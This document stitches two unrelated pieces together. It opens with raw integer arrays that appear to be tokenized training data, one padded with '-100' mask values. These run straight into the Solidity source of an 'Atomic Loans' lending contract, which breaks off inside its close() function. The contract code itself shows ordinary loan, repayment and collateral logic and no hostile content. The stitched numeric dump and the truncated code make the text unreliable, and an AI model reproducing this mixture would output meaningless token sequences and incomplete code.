0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 30143, 1345, 12, 11890, 7920, 67, 16, 2254, 444, 67, 16, 2254, 5270, 67, 16, 2254, 6205, 67, 13, 203, 565, 3903, 203, 225, 1135, 12, 11890, 1147, 548, 67, 13, 288, 203, 565, 2583, 12, 13957, 8924, 18, 588, 6415, 5147, 12, 13957, 67, 16, 444, 67, 16, 5270, 67, 13, 422, 6205, 67, 16, 315, 29434, 422, 666, 6205, 8863, 203, 565, 2583, 12, 8694, 67, 405, 374, 16, 315, 8694, 405, 374, 8863, 203, 565, 2583, 12, 8694, 67, 411, 1728, 636, 7132, 16, 315, 8694, 9391, 8863, 203, 565, 1758, 5793, 273, 389, 3576, 12021, 5621, 203, 565, 1758, 29804, 273, 7920, 67, 422, 374, 692, 261, 542, 67, 422, 374, 692, 1758, 12, 12610, 3462, 8924, 13, 294, 1758, 12, 542, 67, 3719, 294, 1758, 12, 13957, 67, 1769, 203, 565, 1731, 1578, 316, 12496, 3032, 273, 6445, 71, 27, 5340, 8924, 18, 588, 17717, 382, 12496, 3032, 12, 13957, 67, 16, 5793, 1769, 203, 565, 6445, 71, 3462, 8924, 18, 13866, 858, 8924, 12, 203, 1377, 5793, 16, 203, 1377, 29804, 16, 203, 1377, 6205, 67, 203, 565, 11272, 203, 565, 309, 12, 1786, 749, 480, 1758, 12, 12610, 3462, 8924, 3719, 288, 203, 1377, 2254, 14036, 273, 6205, 27799, 16411, 12, 70, 9835, 1345, 14667, 5636, 2934, 2892, 12, 23899, 1769, 203, 1377, 6445, 71, 3462, 8924, 18, 13866, 858, 8924, 12, 203, 3639, 29804, 16, 203, 3639, 1758, 12, 12610, 3462, 8924, 3631, 203, 3639, 14036, 203, 1377, 11272, 203, 203, 565, 289, 203, 565, 1147, 548, 67, 273, 389, 16243, 1345, 12, 267, 12496, 3032, 16, 7920, 67, 16, 444, 67, 16, 5270, 67, 16, 1731, 1578, 12, 11890, 19236, 21, 3719, 1769, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.5.10; import 'openzeppelin-solidity/contracts/token/ERC20/ERC20.sol'; import 'openzeppelin-solidity/contracts/math/SafeMath.sol'; import {BytesLib} from "@summa-tx/bitcoin-spv-sol/contracts/BytesLib.sol"; import {BTCUtils} from "@summa-tx/bitcoin-spv-sol/contracts/BTCUtils.sol"; import './FundsInterface.sol'; import './SalesInterface.sol'; import './CollateralInterface.sol'; import './DSMath.sol'; import './Medianizer.sol'; /** * @title Atomic Loans Loans Contract * @author Atomic Loans */ contract Loans is DSMath { FundsInterface funds; Medianizer med; SalesInterface sales; CollateralInterface col; uint256 public constant APPROVE_EXP_THRESHOLD = 4 hours; // approval expiration threshold uint256 public constant ACCEPT_EXP_THRESHOLD = 2 days; // acceptance expiration threshold uint256 public constant LIQUIDATION_EXP_THRESHOLD = 7 days; // liquidation expiration threshold uint256 public constant SEIZURE_EXP_THRESHOLD = 2 days; // seizable expiration threshold uint256 public constant LIQUIDATION_DISCOUNT = 930000000000000000; // 93% (7% discount) uint256 public constant MAX_NUM_LIQUIDATIONS = 3; // Maximum number of liquidations that can occur uint256 public constant MAX_UINT_256 = 2**256-1; mapping (bytes32 => Loan) public loans; mapping (bytes32 => PubKeys) public pubKeys; // Bitcoin Public Keys mapping (bytes32 => SecretHashes) public secretHashes; // Secret Hashes mapping (bytes32 => Bools) public bools; // Boolean state of Loan mapping (bytes32 => bytes32) public fundIndex; // Mapping of Loan Index to Fund Index mapping (bytes32 => uint256) public repayments; // Amount paid back in a Loan mapping (address => bytes32[]) public borrowerLoans; mapping (address => bytes32[]) public lenderLoans; mapping (address => mapping(uint256 => bool)) public addressToTimestamp; uint256 public loanIndex; // Current Loan Index ERC20 public token; // ERC20 Debt Stablecoin uint256 public decimals; address deployer; /** * @notice Container for loan information * @member borrower The address of the borrower * @member lender The address of the lender * @member arbiter The address of the arbiter * @member createdAt The creation timestamp of the loan * @member loanExpiration The timestamp for the end of the loan * @member requestTimestamp The timestamp for when the loan is requested * @member closedTimestamp The timestamp for when the loan is closed * @member penalty The amount of tokens to be paid as a penalty for defaulting or allowing the loan to be liquidated * @member principal The amount of principal in tokens to be paid back at the end of the loan * @member interest The amount of interest in tokens to be paid back by the end of the loan * @member penalty The amount of tokens to be paid as a penalty for defaulting or allowing the loan to be liquidated * @member fee The amount of tokens paid to the arbiter * @member liquidationRatio The ratio of collateral to debt where the loan can be liquidated */ struct Loan { address borrower; address lender; address arbiter; uint256 createdAt; uint256 loanExpiration; uint256 requestTimestamp; uint256 closedTimestamp; uint256 principal; uint256 interest; uint256 penalty; uint256 fee; uint256 liquidationRatio; } /** * @notice Container for Bitcoin public key information * @member borrowerPubKey Borrower Bitcoin Public Key * @member lenderPubKey Lender Bitcoin Public Key * @member arbiterPubKey Arbiter Bitcoin Public Key * * Note: This struct is unnecessary for the Ethereum * contract itself, but is used as a point of * reference for generating the correct P2WSH for * locking Bitcoin collateral */ struct PubKeys { bytes borrowerPubKey; bytes lenderPubKey; bytes arbiterPubKey; } /** * @notice Container for borrower, lender, and arbiter Secret Hashes * @member secretHashA1 Borrower Secret Hash for the loan * @member secretHashAs Borrower Secret Hashes for up to three liquidations * @member secretHashB1 Lender Secret Hash for the loan * @member secretHashBs Lender Secret Hashes for up to three liquidations * @member secretHashC1 Arbiter Secret Hash for the loan * @member secretHashCs Arbiter Secret Hashes for up to three liquidations * @member withdrawSecret Secret A1 when revealed by borrower * @member acceptSecret Secret B1 or Secret C1 when revelaed by the lender or arbiter * @member set Secret Hashes set for particular loan */ struct SecretHashes { bytes32 secretHashA1; bytes32[3] secretHashAs; bytes32 secretHashB1; bytes32[3] secretHashBs; bytes32 secretHashC1; bytes32[3] secretHashCs; bytes32 withdrawSecret; bytes32 acceptSecret; bool set; } /** * @notice Container for states of loan agreement * @member funded Indicates that the loan has been funded with tokens * @member approved Indicates that the lender has approved locking of the Bitcoin collateral * @member withdrawn Indicates that the borrower has withdrawn the tokens from the contract * @member sale Indicates that the collateral liquidation process has started * @member paid Indicates that the loan has been repaid * @member off Indicates that the loan has been cancelled or the loan repayment has been accepted */ struct Bools { bool funded; bool approved; bool withdrawn; bool sale; bool paid; bool off; } event Create(bytes32 loan); event SetSecretHashes(bytes32 loan); event FundLoan(bytes32 loan); event Approve(bytes32 loan); event Withdraw(bytes32 loan, bytes32 secretA1); event Repay(bytes32 loan, uint256 amount); event Refund(bytes32 loan); event Cancel(bytes32 loan, bytes32 secret); event Accept(bytes32 loan, bytes32 secret); event Liquidate(bytes32 loan, bytes32 secretHash, bytes20 pubKeyHash); /** * @notice Get the Borrower of a Loan * @param loan The Id of a Loan * @return Borrower address of Loan */ function borrower(bytes32 loan) external view returns (address) { return loans[loan].borrower; } /** * @notice Get the Lender of a Loan * @param loan The Id of a Loan * @return Lender address of Loan */ function lender(bytes32 loan) external view returns (address) { return loans[loan].lender; } /** * @notice Get the Arbiter of a Loan * @param loan The Id of a Loan * @return Arbiter address of Loan */ function arbiter(bytes32 loan) external view returns (address) { return loans[loan].arbiter; } /** * @notice Get the Approve Expiration of a Loan * @param loan The Id of a Loan * @return Approve Expiration Timestamp */ function approveExpiration(bytes32 loan) public view returns (uint256) { // Approval Expiration return add(loans[loan].createdAt, APPROVE_EXP_THRESHOLD); } /** * @notice Get the Accept Expiration of a Loan * @param loan The Id of a Loan * @return Accept Expiration Timestamp */ function acceptExpiration(bytes32 loan) public view returns (uint256) { // Acceptance Expiration return add(loans[loan].loanExpiration, ACCEPT_EXP_THRESHOLD); } /** * @notice Get the Liquidation Expiration of a Loan * @param loan The Id of a Loan * @return Liquidation Expiration Timestamp */ function liquidationExpiration(bytes32 loan) public view returns (uint256) { // Liquidation Expiration return add(loans[loan].loanExpiration, LIQUIDATION_EXP_THRESHOLD); } /** * @notice Get the Seizure Expiration of a Loan * @param loan The Id of a Loan * @return Seizure Expiration Timestamp */ function seizureExpiration(bytes32 loan) public view returns (uint256) { return add(liquidationExpiration(loan), SEIZURE_EXP_THRESHOLD); } /** * @notice Get the Principal of a Loan * @param loan The Id of a Loan * @return Amount of Principal in stablecoin tokens */ function principal(bytes32 loan) public view returns (uint256) { return loans[loan].principal; } /** * @notice Get the Interest of a Loan * @param loan The Id of a Loan * @return Amount of Interest in stablecoin tokens */ function interest(bytes32 loan) public view returns (uint256) { return loans[loan].interest; } /** * @notice Get the Fee of a Loan * @param loan The Id of a Loan * @return Amount of Fee in stablecoin tokens */ function fee(bytes32 loan) public view returns (uint256) { return loans[loan].fee; } /** * @notice Get the Penalty of a Loan (if not repaid) * @dev Upon liquidation penalty is paid out to oracles to give incentive for users to continue updating them * @param loan The Id of a Loan * @return Amount of Penalty in stablecoin tokens */ function penalty(bytes32 loan) public view returns (uint256) { return loans[loan].penalty; } /** * @notice Get the Collateral of a Loan * @param loan The Id of a Loan * @return Amount of collateral backing the loan (in sats) */ function collateral(bytes32 loan) public view returns (uint256) { return col.collateral(loan); } /** * @notice Get the Refundable Collateral of a Loan * @param loan The Id of a Loan * @return Amount of refundable collateral backing the loan (in sats) */ function refundableCollateral(bytes32 loan) external view returns (uint256) { return col.refundableCollateral(loan); } /** * @notice Get the Seizable Collateral of a Loan * @param loan The Id of a Loan * @return Amount of seizable collateral backing the loan (in sats) */ function seizableCollateral(bytes32 loan) external view returns (uint256) { return col.seizableCollateral(loan); } /** * @notice Get the Temporary Refundable Collateral of a Loan * @dev Represents the amount of refundable collateral that has been locked and only has 1 conf, where 6 confs hasn't been received yet * @param loan The Id of a Loan * @return Amount of temporary refundable collateral backing the loan (in sats) */ function temporaryRefundableCollateral(bytes32 loan) external view returns (uint256) { return col.temporaryRefundableCollateral(loan); } /** * @notice Get the Temporary Seizable Collateral of a Loan * @dev Represents the amount of seizable collateral that has been locked and only has 1 conf, where 6 confs hasn't been received yet * @param loan The Id of a Loan * @return Amount of temporary seizable collateral backing the loan (in sats) */ function temporarySeizableCollateral(bytes32 loan) external view returns (uint256) { return col.temporarySeizableCollateral(loan); } /** * @notice Get the amount repaid towards a Loan * @param loan The Id of a Loan * @return Amount of the loan that has been repaid */ function repaid(bytes32 loan) public view returns (uint256) { // Amount paid back for loan return repayments[loan]; } /** * @notice Get Liquidation Ratio of a Loan (Minimum Collateralization Ratio) * @param loan The Id of a Loan * @return Liquidation Ratio in RAY (i.e. 140% would be 1.4 * (10 ** 27)) */ function liquidationRatio(bytes32 loan) public view returns (uint256) { return loans[loan].liquidationRatio; } /** * @notice Get the amount owed to the Lender for a Loan * @param loan The Id of a Loan * @return Amount owed to the Lender */ function owedToLender(bytes32 loan) public view returns (uint256) { // Amount lent by Lender return add(principal(loan), interest(loan)); } /** * @notice Get the amount needed to repay a Loan * @param loan The Id of a Loan * @return Amount needed to repay the Loan */ function owedForLoan(bytes32 loan) public view returns (uint256) { // Amount owed return add(owedToLender(loan), fee(loan)); } /** * @notice Get the amount that needs to be covered in the case of a liquidation for a Loan * @dev owedForLiquidation includes penalty which is paid out to oracles to give incentive for users to continue updating them * @param loan The Id of a Loan * @return Amount needed to cover a liquidation */ function owedForLiquidation(bytes32 loan) external view returns (uint256) { // Deductible amount from collateral return add(owedForLoan(loan), penalty(loan)); } /** * @notice Get the amount still owing for a Loan * @param loan The Id of a Loan * @return Amount owing for a Loan */ function owing(bytes32 loan) external view returns (uint256) { return sub(owedForLoan(loan), repaid(loan)); } /** * @notice Get the funded status of a Loan * @param loan The Id of a Loan * @return Bool that indicates whether loan has been funded */ function funded(bytes32 loan) external view returns (bool) { return bools[loan].funded; } /** * @notice Get the approved status of a Loan * @param loan The Id of a Loan * @return Bool that indicates whether loan has been approved */ function approved(bytes32 loan) external view returns (bool) { return bools[loan].approved; } /** * @notice Get the withdrawn status of a Loan * @param loan The Id of a Loan * @return Bool that indicates whether loan has been withdrawn */ function withdrawn(bytes32 loan) external view returns (bool) { return bools[loan].withdrawn; } /** * @notice Get the sale status of a Loan * @param loan The Id of a Loan * @return Bool that indicates whether loan has been liquidated */ function sale(bytes32 loan) public view returns (bool) { return bools[loan].sale; } /** * @notice Get the paid status of a Loan * @param loan The Id of a Loan * @return Bool that indicates whether loan has been repaid */ function paid(bytes32 loan) external view returns (bool) { return bools[loan].paid; } /** * @notice Get the off status of a Loan * @param loan The Id of a Loan * @return Bool that indicates whether loan has been terminated */ function off(bytes32 loan) public view returns (bool) { return bools[loan].off; } /** * @notice Decimal multiplication that multiplies the number to 10 ** 18 if stablecoin token decimals are less than 18 * @param x The number to decimal multiply * @return x converted to WAD (10 ** 18) if decimals are less than 18, else x */ function dmul(uint x) public view returns (uint256) { return mul(x, (10 ** sub(18, decimals))); } /** * @notice Decimal division that divides the number to 10 ** decimals from 10 ** 18 if stablecoin token decimals are less than 18 * @param x The number to decimal divide * @return x converted to 10 ** decimals if decimals are less than 18, else x */ function ddiv(uint x) public view returns (uint256) { return div(x, (10 ** sub(18, decimals))); } /** * @notice Get the number of loans originated by a Borrower * @param borrower_ Address of the Borrower * @return Number of loans originated by Borrower */ function borrowerLoanCount(address borrower_) external view returns (uint256) { return borrowerLoans[borrower_].length; } /** * @notice Get the number of loans originated by a Lender * @param lender_ Address of the Lender * @return Number of loans originated by Lender */ function lenderLoanCount(address lender_) external view returns (uint256) { return lenderLoans[lender_].length; } /** * @notice The minimum seizable collateral required to cover a Loan * @param loan The Id of a Loan * @return Amount of seizable collateral value (in sats) required to cover a Loan */ function minSeizableCollateral(bytes32 loan) public view returns (uint256) { (bytes32 val, bool set) = med.peek(); require(set, "Loans.minSeizableCollateral: Medianizer must be set"); uint256 price = uint(val); return div(wdiv(dmul(sub(owedForLoan(loan), repaid(loan))), price), div(WAD, COL)); } /** * @notice The current collateral value of a Loan * @dev Gets the price in USD from the Medianizer and multiplies it by the collateral in sats to get the USD value of collateral * @param loan The Id of a Loan * @return Value of collateral (USD in WAD) */ function collateralValue(bytes32 loan) public view returns (uint256) { (bytes32 val, bool set) = med.peek(); require(set, "Loans.collateralValue: Medianizer must be set"); uint256 price = uint(val); return cmul(price, collateral(loan)); } /** * @notice The minimum collateral value to cover the amount owed for a Loan * @dev Gets the amount in the Loan that still needs to be repaid, converts to WAD, and multiplies it by the minimum liquidation ratio * @param loan The Id of a Loan * @return Value of the minimum collateral required (USD in WAD) */ function minCollateralValue(bytes32 loan) public view returns (uint256) { return rmul(dmul(sub(owedForLoan(loan), repaid(loan))), liquidationRatio(loan)); } /** * @notice The discount collateral value in which a Liquidator can purchase the collateral for * @param loan The Id of a Loan * @return Value of the discounted collateral required to Liquidate a Loan (USD in WAD) */ function discountCollateralValue(bytes32 loan) public view returns (uint256) { return wmul(collateralValue(loan), LIQUIDATION_DISCOUNT); } /** * @notice Get the safe status of a Loan * @param loan The Id of a Loan * @return Bool that indicates whether loan is safe from liquidation */ function safe(bytes32 loan) public view returns (bool) { return collateralValue(loan) >= minCollateralValue(loan); } /** * @notice Construct a new Loans contract * @param funds_ The address of the Funds contract * @param med_ The address of the Medianizer contract * @param token_ The stablecoin token address * @param decimals_ The number of decimals in the stablecoin token */ constructor (FundsInterface funds_, Medianizer med_, ERC20 token_, uint256 decimals_) public { require(address(funds_) != address(0), "Funds address must be non-zero"); require(address(med_) != address(0), "Medianizer address must be non-zero"); require(address(token_) != address(0), "Token address must be non-zero"); deployer = msg.sender; funds = funds_; med = med_; token = token_; decimals = decimals_; require(token.approve(address(funds), MAX_UINT_256), "Token approve failed"); } // NOTE: THE FOLLOWING FUNCTIONS CAN ONLY BE CALLED BY THE DEPLOYER OF THE // CONTRACT ONCE. THIS IS TO ALLOW FOR FUNDS, LOANS, AND SALES // CONTRACTS TO BE DEPLOYED SEPARATELY (DUE TO GAS LIMIT RESTRICTIONS). // IF YOU ARE USING THIS CONTRACT, ENSURE THAT THESE FUNCTIONS HAVE // ALREADY BEEN CALLED BEFORE DEPOSITING FUNDS. // ====================================================================== /** * @dev Sets Sales contract * @param sales_ Address of Sales contract */ function setSales(SalesInterface sales_) external { require(msg.sender == deployer, "Loans.setSales: Only the deployer can perform this"); require(address(sales) == address(0), "Loans.setSales: The Sales address has already been set"); require(address(sales_) != address(0), "Loans.setSales: Sales address must be non-zero"); sales = sales_; } /** * @dev Sets Spv contract * @param col_ Address of Collateral contract */ function setCollateral(CollateralInterface col_) external { require(msg.sender == deployer, "Loans.setCollateral: Only the deployer can perform this"); require(address(col) == address(0), "Loans.setCollateral: The Collateral address has already been set"); require(address(col_) != address(0), "Loans.setCollateral: Collateral address must be non-zero"); col = col_; } // ====================================================================== /** * @notice Creates a new loan agreement * @param loanExpiration_ The timestamp for the end of the loan * @param usrs_ Array of three addresses containing the borrower, lender, and optional arbiter address * @param vals_ Array of seven uints containing loan principal, interest, liquidation penalty, optional arbiter fee, collateral amount, liquidation ratio, and request timestamp * @param fund The optional Fund ID */ function create( uint256 loanExpiration_, address[3] calldata usrs_, uint256[7] calldata vals_, bytes32 fund ) external returns (bytes32 loan) { if (fund != bytes32(0)) { require(funds.lender(fund) == usrs_[1], "Loans.create: Lender of Fund not in args"); } require(!addressToTimestamp[usrs_[0]][vals_[6]], "Loans.create: Duplicate request timestamps are not allowed"); require(loanExpiration_ > now, "Loans.create: loanExpiration must be greater than `now`"); require(usrs_[0] != address(0) && usrs_[1] != address(0), "Loans.create: Borrower and Lender address must be non-zero"); require(vals_[0] != 0 && vals_[4] != 0, "Loans.create: Principal and Collateral must be non-zero"); require(vals_[5] != 0 && vals_[6] != 0, "Loans.create: Liquidation ratio and Request timestamp must be non-zero"); loanIndex = add(loanIndex, 1); loan = bytes32(loanIndex); loans[loan].createdAt = now; loans[loan].loanExpiration = loanExpiration_; loans[loan].borrower = usrs_[0]; loans[loan].lender = usrs_[1]; loans[loan].arbiter = usrs_[2]; loans[loan].principal = vals_[0]; loans[loan].interest = vals_[1]; loans[loan].penalty = vals_[2]; loans[loan].fee = vals_[3]; uint256 minSeizableCol = minSeizableCollateral(loan); col.setCollateral(loan, sub(vals_[4], minSeizableCol), minSeizableCol); loans[loan].liquidationRatio = vals_[5]; loans[loan].requestTimestamp = vals_[6]; fundIndex[loan] = fund; secretHashes[loan].set = false; borrowerLoans[usrs_[0]].push(bytes32(loanIndex)); lenderLoans[usrs_[1]].push(bytes32(loanIndex)); addressToTimestamp[usrs_[0]][vals_[6]] = true; emit Create(loan); } /** * @notice Set Secret Hashes for loan agreement * @param loan The Id of the Loan * @param borrowerSecretHashes Borrower secret hashes * @param lenderSecretHashes Lender secret hashes * @param arbiterSecretHashes Arbiter secret hashes * @param borrowerPubKey_ Borrower Bitcoin Public Key * @param lenderPubKey_ Lender Bitcoin Public Key * @param arbiterPubKey_ Arbiter Bitcoin Public Key */ function setSecretHashes( bytes32 loan, bytes32[4] calldata borrowerSecretHashes, bytes32[4] calldata lenderSecretHashes, bytes32[4] calldata arbiterSecretHashes, bytes calldata borrowerPubKey_, bytes calldata lenderPubKey_, bytes calldata arbiterPubKey_ ) external { require(!secretHashes[loan].set, "Loans.setSecretHashes: Secret hashes must not already be set"); require( msg.sender == loans[loan].borrower || msg.sender == loans[loan].lender || msg.sender == address(funds), "Loans.setSecretHashes: msg.sender must be Borrower, Lender or Funds Address" ); secretHashes[loan].secretHashA1 = borrowerSecretHashes[0]; secretHashes[loan].secretHashAs = [ borrowerSecretHashes[1], borrowerSecretHashes[2], borrowerSecretHashes[3] ]; secretHashes[loan].secretHashB1 = lenderSecretHashes[0]; secretHashes[loan].secretHashBs = [ lenderSecretHashes[1], lenderSecretHashes[2], lenderSecretHashes[3] ]; secretHashes[loan].secretHashC1 = arbiterSecretHashes[0]; secretHashes[loan].secretHashCs = [ arbiterSecretHashes[1], arbiterSecretHashes[2], arbiterSecretHashes[3] ]; pubKeys[loan].borrowerPubKey = borrowerPubKey_; pubKeys[loan].lenderPubKey = lenderPubKey_; pubKeys[loan].arbiterPubKey = arbiterPubKey_; secretHashes[loan].set = true; } /** * @notice Lender sends tokens to the loan agreement * @param loan The Id of the Loan */ function fund(bytes32 loan) external { require(secretHashes[loan].set, "Loans.fund: Secret hashes must be set"); require(bools[loan].funded == false, "Loans.fund: Loan is already funded"); bools[loan].funded = true; require(token.transferFrom(msg.sender, address(this), principal(loan)), "Loans.fund: Failed to transfer tokens"); emit FundLoan(loan); } /** * @notice Lender approves locking of Bitcoin collateral * @param loan The Id of the Loan */ function approve(bytes32 loan) external { // Approve locking of collateral require(bools[loan].funded == true, "Loans.approve: Loan must be funded"); require(loans[loan].lender == msg.sender, "Loans.approve: Only the lender can approve the loan"); require(now <= approveExpiration(loan), "Loans.approve: Loan is past the approve deadline"); bools[loan].approved = true; emit Approve(loan); } /** * @notice Borrower withdraws loan * @param loan The Id of the Loan * @param secretA1 Secret A1 provided by the borrower */ function withdraw(bytes32 loan, bytes32 secretA1) external { require(!off(loan), "Loans.withdraw: Loan cannot be inactive"); require(bools[loan].funded == true, "Loans.withdraw: Loan must be funded"); require(bools[loan].approved == true, "Loans.withdraw: Loan must be approved"); require(bools[loan].withdrawn == false, "Loans.withdraw: Loan principal has already been withdrawn"); require(sha256(abi.encodePacked(secretA1)) == secretHashes[loan].secretHashA1, "Loans.withdraw: Secret does not match"); bools[loan].withdrawn = true; require(token.transfer(loans[loan].borrower, principal(loan)), "Loans.withdraw: Failed to transfer tokens"); secretHashes[loan].withdrawSecret = secretA1; if (address(col.onDemandSpv()) != address(0)) {col.requestSpv(loan);} emit Withdraw(loan, secretA1); } /** * @notice Lender sends tokens to the loan agreement * @param loan The Id of the Loan * @param amount The amount of tokens to repay * * Note: Anyone can repay the loan */ function repay(bytes32 loan, uint256 amount) external { require(!off(loan), "Loans.repay: Loan cannot be inactive"); require(!sale(loan), "Loans.repay: Loan cannot be undergoing a liquidation"); require(bools[loan].withdrawn == true, "Loans.repay: Loan principal must be withdrawn"); require(now <= loans[loan].loanExpiration, "Loans.repay: Loan cannot have expired"); require(add(amount, repaid(loan)) <= owedForLoan(loan), "Loans.repay: Cannot repay more than the owed amount"); require(token.transferFrom(msg.sender, address(this), amount), "Loans.repay: Failed to transfer tokens"); repayments[loan] = add(amount, repayments[loan]); if (repaid(loan) == owedForLoan(loan)) { bools[loan].paid = true; if (address(col.onDemandSpv()) != address(0)) {col.cancelSpv(loan);} } emit Repay(loan, amount); } /** * @notice Borrower refunds tokens in the case that Lender doesn't accept loan repayment * @dev Send tokens back to the Borrower, and close Loan * @param loan The Id of the Loan * * Note: If Lender does not accept repayment, liquidation cannot occur */ function refund(bytes32 loan) external { require(!off(loan), "Loans.refund: Loan cannot be inactive"); require(!sale(loan), "Loans.refund: Loan cannot be undergoing a liquidation"); require(now > acceptExpiration(loan), "Loans.refund: Cannot request refund until after acceptExpiration"); require(bools[loan].paid == true, "Loans.refund: The loan must be repaid"); require(msg.sender == loans[loan].borrower, "Loans.refund: Only the borrower can request a refund"); bools[loan].off = true; loans[loan].closedTimestamp = now; if (funds.custom(fundIndex[loan]) == false) { funds.decreaseTotalBorrow(loans[loan].principal); funds.calcGlobalInterest(); } require(token.transfer(loans[loan].borrower, owedForLoan(loan)), "Loans.refund: Failed to transfer tokens"); emit Refund(loan); } /** * @notice Lender cancels loan after Borrower locks collateral * @dev Lender cancels loan and principal is sent back to the Lender / Loan Fund * @param loan The Id of the Loan * @param secret Secret B1 revealed by the Lender */ function cancel(bytes32 loan, bytes32 secret) external { accept(loan, secret); emit Cancel(loan, secret); } /** * @notice Lender cancels loan after Seizure Expiration in case Lender loses secret * @dev Lender cancels loan and principal is sent back to the Lender / Loan Fund * @param loan The Id of the Loan */ function cancel(bytes32 loan) external { require(!off(loan), "Loans.cancel: Loan must not be inactive"); require(bools[loan].withdrawn == false, "Loans.cancel: Loan principal must not be withdrawn"); require(now >= seizureExpiration(loan), "Loans.cancel: Seizure deadline has not been reached"); require(bools[loan].sale == false, "Loans.cancel: Loan must not be undergoing liquidation"); close(loan); emit Cancel(loan, bytes32(0)); } /** * @notice Lender accepts loan repayment * @dev Lender accepts loan repayment and principal + interest are sent back to the Lender / Loan Fund * @param loan The Id of the Loan * @param secret Secret B1 revealed by the Lender */ function accept(bytes32 loan, bytes32 secret) public { require(!off(loan), "Loans.accept: Loan must not be inactive"); require(bools[loan].withdrawn == false || bools[loan].paid == true, "Loans.accept: Loan must be either not withdrawn or repaid"); require(msg.sender == loans[loan].lender || msg.sender == loans[loan].arbiter, "Loans.accept: msg.sender must be lender or arbiter"); require(now <= acceptExpiration(loan), "Loans.accept: Acceptance deadline has past"); require(bools[loan].sale == false, "Loans.accept: Loan must not be going under liquidation"); require( sha256(abi.encodePacked(secret)) == secretHashes[loan].secretHashB1 || sha256(abi.encodePacked(secret)) == secretHashes[loan].secretHashC1, "Loans.accept: Invalid secret" ); secretHashes[loan].acceptSecret = secret; close(loan); emit Accept(loan, secret); } /** * @notice Terminate Loan and transfer funds back to Lender and Arbiter (if there are any fees acrued) * @param loan The Id of the Loan */ function close(bytes32 loan) private { bools[loan].off = true; loans[loan].closedTimestamp = now; // If Loan has not been withdraw, simply transfer Principal back to the Lender if (bools[loan].withdrawn == false) { if (fundIndex[loan] == bytes32(0)) { 